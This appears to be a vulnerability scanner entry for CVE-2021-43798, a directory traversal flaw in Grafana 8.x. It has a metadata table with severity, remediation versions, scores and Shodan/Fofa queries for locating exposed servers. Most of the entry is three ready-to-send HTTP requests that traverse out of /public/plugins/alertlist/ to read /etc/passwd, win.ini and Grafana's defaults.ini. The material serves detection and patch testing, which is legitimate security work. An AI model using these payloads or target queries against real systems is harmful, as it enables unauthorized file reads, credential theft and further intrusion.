| Title | Grafana v8.x - Arbitrary File Read |
|---|---|
| Author | z0ne,dhiyaneshDk,j4vaovo |
| Severity | High |
| Impact | An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation. |
| Remediation | Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94438 |
| CVE ID | CVE-2021-43798 |
| CWE ID | CWE-22 |
| Shodan Query | title:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana" |
| Fofa Query | title="grafana"app="grafana" |
| Tags | cve2021 cve packetstorm grafana lfi vkev kev vuln |
Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is <grafana_host_url>/public/plugins/NAME/, where NAME is the plugin ID for any installed plugin.
GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /public/plugins/alertlist/../../../../../conf/defaults.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43798.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43798.pcap
N/AN/A